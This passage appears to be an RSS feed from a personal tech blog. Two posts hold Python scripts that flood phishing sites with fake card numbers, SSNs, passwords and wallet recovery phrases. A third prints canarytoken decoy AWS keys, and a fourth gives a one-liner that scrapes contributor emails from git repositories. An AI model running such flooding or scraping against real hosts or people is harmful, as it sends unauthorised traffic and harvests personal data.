</span></span><span class="line"><span class="cl">        <span class="p">[</span><span class="n">credit_card_number</span><span class="p">[</span><span class="n">i</span> <span class="p">:</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">4</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">credit_card_number</span><span class="p">),</span> <span class="mi">4</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">step_2_payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;uid&#34;</span><span class="p">:</span> <span class="n">uid</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;stp&#34;</span><span class="p">:</span> <span class="s2">&#34;2&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;cnum&#34;</span><span class="p">:</span> <span class="n">credit_card_number</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;expd&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">credit_card_expire</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;cvv&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">credit_card_security_code</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">step_3_payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;uid&#34;</span><span class="p">:</span> <span class="n">uid</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;stp&#34;</span><span class="p">:</span> <span class="s2">&#34;3&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;fullname&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">name</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;bdate&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">date_of_birth</span><span class="p">(</span><span class="n">minimum_age</span><span class="o">=</span><span class="mi">18</span><span class="p">)</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span><span class="s2">&#34;%m/</span><span class="si">%d</span><span class="s2">/%Y&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;ssn&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">ssn</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;phone&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">phone_number</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;address&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">street_address</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;city&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">city</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;state&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">state_abbr</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;zip&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">postcode</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;email&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">simple_profile</span><span class="p">()[</span><span class="s2">&#34;mail&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">step_4_payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;uid&#34;</span><span class="p">:</span> <span class="n">uid</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;stp&#34;</span><span class="p">:</span> <span class="s2">&#34;4&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;cemail&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">simple_profile</span><span class="p">()[</span><span class="s2">&#34;mail&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;bdate&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">password</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="n">length</span><span class="o">=</span><span class="mi">12</span>
</span></span><span class="line"><span class="cl">        <span class="p">),</span>  <span class="c1"># the parameter is bdate but in the frontend it asked for password</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">requests_sent</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># dynamically generate fake headers and JSON payloads</span>
</span></span><span class="line"><span class="cl">    <span class="n">generate_headers_and_payloads</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># handle exceptions so that the script continues even if there are connection issues</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># for each step, add in corresponding cookie and random content-length to headers</span>
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">step_0_cookie</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="s2">&#34;Content-Length&#34;</span><span class="p">:</span> <span class="nb">str</span><span class="p">(</span><span class="n">fake</span><span class="o">.</span><span class="n">random_int</span><span class="p">(</span><span class="nb">min</span><span class="o">=</span><span class="mi">80</span><span class="p">,</span> <span class="nb">max</span><span class="o">=</span><span class="mi">215</span><span class="p">))})</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">base_headers</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">step_0_payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Step 0 status code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">step_1_cookie</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="s2">&#34;Content-Length&#34;</span><span class="p">:</span> <span class="nb">str</span><span class="p">(</span><span class="n">fake</span><span class="o">.</span><span class="n">random_int</span><span class="p">(</span><span class="nb">min</span><span class="o">=</span><span class="mi">80</span><span class="p">,</span> <span class="nb">max</span><span class="o">=</span><span class="mi">215</span><span class="p">))})</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">base_headers</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">step_1_payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Step 1 status code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">step_2_cookie</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="s2">&#34;Content-Length&#34;</span><span class="p">:</span> <span class="nb">str</span><span class="p">(</span><span class="n">fake</span><span class="o">.</span><span class="n">random_int</span><span class="p">(</span><span class="nb">min</span><span class="o">=</span><span class="mi">80</span><span class="p">,</span> <span class="nb">max</span><span class="o">=</span><span class="mi">215</span><span class="p">))})</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">base_headers</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">step_2_payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Step 2 status code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">step_3_cookie</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="s2">&#34;Content-Length&#34;</span><span class="p">:</span> <span class="nb">str</span><span class="p">(</span><span class="n">fake</span><span class="o">.</span><span class="n">random_int</span><span class="p">(</span><span class="nb">min</span><span class="o">=</span><span class="mi">80</span><span class="p">,</span> <span class="nb">max</span><span class="o">=</span><span class="mi">215</span><span class="p">))})</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">base_headers</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">step_3_payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Step 3 status code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">step_4_cookie</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="s2">&#34;Content-Length&#34;</span><span class="p">:</span> <span class="nb">str</span><span class="p">(</span><span class="n">fake</span><span class="o">.</span><span class="n">random_int</span><span class="p">(</span><span class="nb">min</span><span class="o">=</span><span class="mi">80</span><span class="p">,</span> <span class="nb">max</span><span class="o">=</span><span class="mi">215</span><span class="p">))})</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">base_headers</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">step_4_payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Step 4 status code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">requests_sent</span> <span class="o">=</span> <span class="n">requests_sent</span> <span class="o">+</span> <span class="mi">5</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Requests sent: </span><span class="si">{</span><span class="n">requests_sent</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="n">requests</span><span class="o">.</span><span class="n">exceptions</span><span class="o">.</span><span class="n">RequestException</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">({</span><span class="n">e</span><span class="p">})</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>It&rsquo;s quite lengthy but it works. I ran the script in the background and went about my day.</p>
<img src="/chase-scam/terminal.webp" alt="Terminal output after running the Python script" width="720" height="438" style="max-width: 100%; height: auto; aspect-ratio: 1780 / 1084;" loading="lazy" decoding="async">
<h2 id="more-retaliation-against-scammers">More Retaliation Against Scammers</h2>
<p>If you enjoyed this, I&rsquo;ve done a few other posts similar to this one:</p>
<ul>
<li>

<a href="/hitting-back-at-ledger-scammers-with-python/">Hitting Back at Ledger Scammers With Python</a></li>
<li>

<a href="/using-python-to-flood-scammers-with-fake-passwords/">Using Python to Flood Scammers with Fake Passwords</a></li>
<li>

<a href="/retaliating-against-metamask-scammers-with-python/">Retaliating Against MetaMask Scammers With Python</a></li>
</ul>
<h2 id="elsewhere">Elsewhere</h2>
<p>Also posted on: <a class="u-syndication" href="https://dev.to/nelsonfigueroa/making-life-more-difficult-for-bank-scammers-58ia?ref=nelson.cloud" rel="syndication">dev.to</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Hitting Back at Ledger Scammers With Python</title>
      <link>https://nelson.cloud/hitting-back-at-ledger-scammers-with-python/?ref=rss</link>
      <pubDate>Wed, 27 Dec 2023 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/hitting-back-at-ledger-scammers-with-python/?ref=rss</guid>
      <description>Using a Python script to send fake data to a Ledger phishing site.</description><content:encoded><![CDATA[<h2 id="fake-ledger-email">Fake Ledger Email</h2>
<p>I recently received this email claiming to be from 

<a href="https://www.ledger.com/" target="_blank" rel="noopener">Ledger</a>. I immediately knew it was a scam.</p>
<img src="/ledger-scammers/scam-email.webp" alt="Email pretending to be from Ledger" width="720" height="675" style="max-width: 100%; height: auto; aspect-ratio: 1240 / 1164;" loading="lazy" decoding="async">
<p>I decided to take a peek at <code>vaultscanner.com</code> just for fun. The site looked like a genuine Ledger site. This site was created with more effort than other scam sites I&rsquo;ve seen.</p>
<img src="/ledger-scammers/fake-ledger-site.webp" alt="The fake Ledger website." width="720" height="417" style="max-width: 100%; height: auto; aspect-ratio: 3456 / 2004;" loading="lazy" decoding="async">
<p>I clicked on a random Ledger device and it played a &ldquo;connecting&rdquo; animation.</p>
<img src="/ledger-scammers/connecting-device.webp" alt="Fake Ledger site showing a Ledger device connecting." width="720" height="417" style="max-width: 100%; height: auto; aspect-ratio: 3456 / 2004;" loading="lazy" decoding="async">
<p>After that I got an error. It&rsquo;s obviously fake. How can my Ledger data be damaged if I didn&rsquo;t connect a Ledger device to begin with? I don&rsquo;t even own one.</p>
<img src="/ledger-scammers/fake-error.webp" alt="Fake error" width="720" height="417" style="max-width: 100%; height: auto; aspect-ratio: 3456 / 2004;" loading="lazy" decoding="async">
<p>And of course, the site then prompts for the recovery phrase.</p>
<img src="/ledger-scammers/recovery-phrase-entry.webp" alt="Fake Ledger site asking for recovery phrase" width="720" height="417" style="max-width: 100%; height: auto; aspect-ratio: 3456 / 2004;" loading="lazy" decoding="async">
<p>I checked the browser dev tools to see where this phrase was going to. It was getting sent as a query string to <code>/data1.php</code> as a <code>POST</code> request.</p>
<img src="/ledger-scammers/dev-tools.webp" alt="Developer tools showing where the recovery phrase was sent" width="720" height="351" style="max-width: 100%; height: auto; aspect-ratio: 2302 / 1124;" loading="lazy" decoding="async">
<h2 id="writing-a-python-script">Writing a Python Script</h2>
<p>I had an idea to write a quick Python script to send fake data to the scammers. This is something I&rsquo;ve done in the past to MetaMask scammers: 

<a href="https://nelson.cloud/retaliating-against-metamask-scammers-with-python/">Retaliating Against MetaMask Scammers With Python</a>.</p>
<p>With some quick research, I found that the recovery phrases for Ledger devices are created using the same wordlist that MetaMask uses. I also learned that Ledger recovery phrases are 24 words long. With this information I was ready to start writing a script.</p>
<p>Here&rsquo;s the script I came up with:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">random</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">time</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># List of words from https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt</span>
</span></span><span class="line"><span class="cl"><span class="c1"># (Trimmed due to long length)</span>
</span></span><span class="line"><span class="cl"><span class="n">WORDLIST</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;abandon&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;ability&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;able&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;about&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;above&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">requests_sent</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># getting list of 24 random words</span>
</span></span><span class="line"><span class="cl">    <span class="n">recovery_phrase</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">sample</span><span class="p">(</span><span class="n">WORDLIST</span><span class="p">,</span> <span class="mi">24</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># joining the list of 24 words into a single string</span>
</span></span><span class="line"><span class="cl">    <span class="n">recovery_phrase</span> <span class="o">=</span> <span class="s2">&#34; &#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">recovery_phrase</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># query string for request</span>
</span></span><span class="line"><span class="cl">    <span class="n">params</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;privateKey&#34;</span><span class="p">:</span> <span class="n">recovery_phrase</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;token&#34;</span><span class="p">:</span> <span class="s2">&#34;Ledger&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># sending POST request</span>
</span></span><span class="line"><span class="cl">    <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;https://vaultscanner.com/data1.php&#34;</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="n">params</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="p">{}</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">requests_sent</span> <span class="o">=</span> <span class="n">requests_sent</span> <span class="o">+</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># Output</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Requests sent: </span><span class="si">{</span><span class="n">requests_sent</span><span class="si">}</span><span class="s2">, Status code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">, Phrase sent: </span><span class="si">{</span><span class="n">recovery_phrase</span><span class="si">}</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Then I just let it run for a while to give the scammers a ton of fake data.</p>
<img src="/ledger-scammers/terminal.webp" alt="Terminal output when running Python script." width="720" height="307" style="max-width: 100%; height: auto; aspect-ratio: 3016 / 1290;" loading="lazy" decoding="async">
<p>I hope I made scamming/phishing more difficult for them :)</p>
]]></content:encoded>
    </item>
    <item>
      <title>Publishing Fake AWS API Keys on My Site</title>
      <link>https://nelson.cloud/publishing-fake-aws-api-keys-on-my-site/?ref=rss</link>
      <pubDate>Fri, 16 Jun 2023 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/publishing-fake-aws-api-keys-on-my-site/?ref=rss</guid>
      <description>Using canarytokens.org to generate fake AWS API keys and then publishing them on my site.</description><content:encoded><![CDATA[<p>I recently discovered 

<a href="https://canarytokens.org" target="_blank" rel="noopener">canarytokens.org</a>, which helps detect if your infrastructure has been breached through various methods. For example, 

<a href="https://canarytokens.org" target="_blank" rel="noopener">canarytokens.org</a> lets me generate fake AWS API keys and receive an email notification when they are used. So I did exactly that just to see what would happen.</p>
<p>I published the fake AWS API keys to my site under 

<a href="https://nelson.cloud/.env" target="_blank" rel="noopener">https://nelson.cloud/.env</a>. I chose <code>.env</code> because this is a file that is commonly scanned for by scripts/bots due to accidental uploads. I knew someone would find the credentials eventually and I was curious how quickly and frequently they would be accessed.</p>
<p>At the time of writing this blog post, this is what the <code>.env</code> file contains:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">$ curl https://nelson.cloud/.env
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">AWS_ACCESS_KEY_ID</span><span class="o">=</span>AKIA2OGYBAH6TDQ3GH4E
</span></span><span class="line"><span class="cl"><span class="nv">AWS_SECRET_ACCESS_KEY</span><span class="o">=</span>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
</span></span><span class="line"><span class="cl"><span class="nv">REGION</span><span class="o">=</span>us-east-2
</span></span></code></pre></td></tr></table>
</blockquote><p>Around 2 minutes after deploying out this file, I received my first email notification from 

<a href="https://canarytokens.org" target="_blank" rel="noopener">canarytokens.org</a>. That was fast! It just goes to show that people are constantly scanning for credentials on the internet. Within an hour or so I had ~10 notifications.</p>
<p>The notification emails from canarytokens.org provide useful details about the attackers using the AWS API keys. Here&rsquo;s an example notification I received:</p>
<img src="/putting-up-fake-aws-keys/notification.webp" alt="canarytokens.org notification showing python usage" width="720" height="482" style="max-width: 100%; height: auto; aspect-ratio: 1300 / 872;" loading="lazy" decoding="async">
<p>We can see based on the user agent that whoever used these AWS keys was doing this automatically using Python.</p>
<p>I also got another notification that shows that the attacker was using Powershell:</p>
<img src="/putting-up-fake-aws-keys/notification2.webp" alt="canarytokens.org notification showing powershell usage" width="720" height="509" style="max-width: 100%; height: auto; aspect-ratio: 1300 / 920;" loading="lazy" decoding="async">
<blockquote><p><strong>Note:</strong></p>User Agent strings can be spoofed, so take these screenshots with a grain of salt.</blockquote>

<p>There is a guide here if you&rsquo;re interested in trying this out for yourself:</p>
<ul>
<li>

<a href="https://docs.canarytokens.org/guide/" target="_blank" rel="noopener">https://docs.canarytokens.org/guide/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Scrape Contributor Emails From Any Git Repository</title>
      <link>https://nelson.cloud/scrape-contributor-emails-from-any-git-repository/?ref=rss</link>
      <pubDate>Thu, 21 Jul 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/scrape-contributor-emails-from-any-git-repository/?ref=rss</guid>
      <description>Scraping contributor emails from git repositories using git shortlog.</description><content:encoded><![CDATA[<p>In a 

<a href="https://nelson.cloud/scraping-github-contributor-emails/">previous post</a> I wrote about how it&rsquo;s possible to scrape emails from GitHub repositories using their API.
I even wrote up a 

<a href="https://github.com/nelsonfigueroa/github-email-scraper" target="_blank" rel="noopener">Ruby script</a> to do this.
I now realize that is a very complicated way to go about it after discovering the <code>git shortlog</code> command.</p>
<p>With <code>git shortlog</code> you can list all contributor emails for any git repository, not just GitHub repos.</p>
<blockquote><p><strong>Disclaimer:</strong></p>I am writing about this to make others aware of this form of scraping and it is purely for educational purposes. I do not plan on doing anything with emails from git repos and you shouldn’t either.</blockquote>

<blockquote><p><strong>tl;dr:</strong></p><p>You can run this command within any git repo to extract all contributor emails:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">git shortlog -sea <span class="p">|</span> grep -E -o <span class="s2">&#34;\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b&#34;</span> <span class="p">|</span> awk <span class="s1">&#39;{print tolower($0)}&#39;</span> <span class="p">|</span> sort <span class="p">|</span> uniq <span class="p">|</span> grep -wv <span class="s1">&#39;users.noreply.github.com&#39;</span>
</span></span></code></pre></td></tr></table>
</blockquote>
</div>

<h2 id="command-break-down">Command Break Down</h2>
<p>The <code>git shortlog -sea</code> part of the command is short for <code>git shortlog --summary --email --all</code>. This command outputs the number of commits each user has made, along with their name and email, across all branches.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ git shortlog -sea
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="m">54</span>  First Last &lt;FirstLast@example.com&gt;
</span></span><span class="line"><span class="cl">   <span class="m">385</span>  Another User &lt;Anotheruser@example.com&gt;
</span></span><span class="line"><span class="cl">     <span class="m">2</span>  user1 &lt;user1@example.com&gt;
</span></span><span class="line"><span class="cl">    <span class="m">31</span>  first last &lt;firstlast@example.com&gt;
</span></span><span class="line"><span class="cl">    <span class="m">10</span>  Someone Else &lt;1234567+someoneelse@users.noreply.github.com&gt;
</span></span></code></pre></td></tr></table>
</blockquote><p>The next command, <code>grep -E -o &quot;\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b&quot;</code>, extracts emails from each line using a regular expression.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ git shortlog -sea <span class="p">|</span> grep -E -o <span class="s2">&#34;\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">FirstLast@example.com
</span></span><span class="line"><span class="cl">Anotheruser@example.com
</span></span><span class="line"><span class="cl">user1@example.com
</span></span><span class="line"><span class="cl">firstlast@example.com
</span></span><span class="line"><span class="cl">1234567+someoneelse@users.noreply.github.com
</span></span></code></pre></td></tr></table>
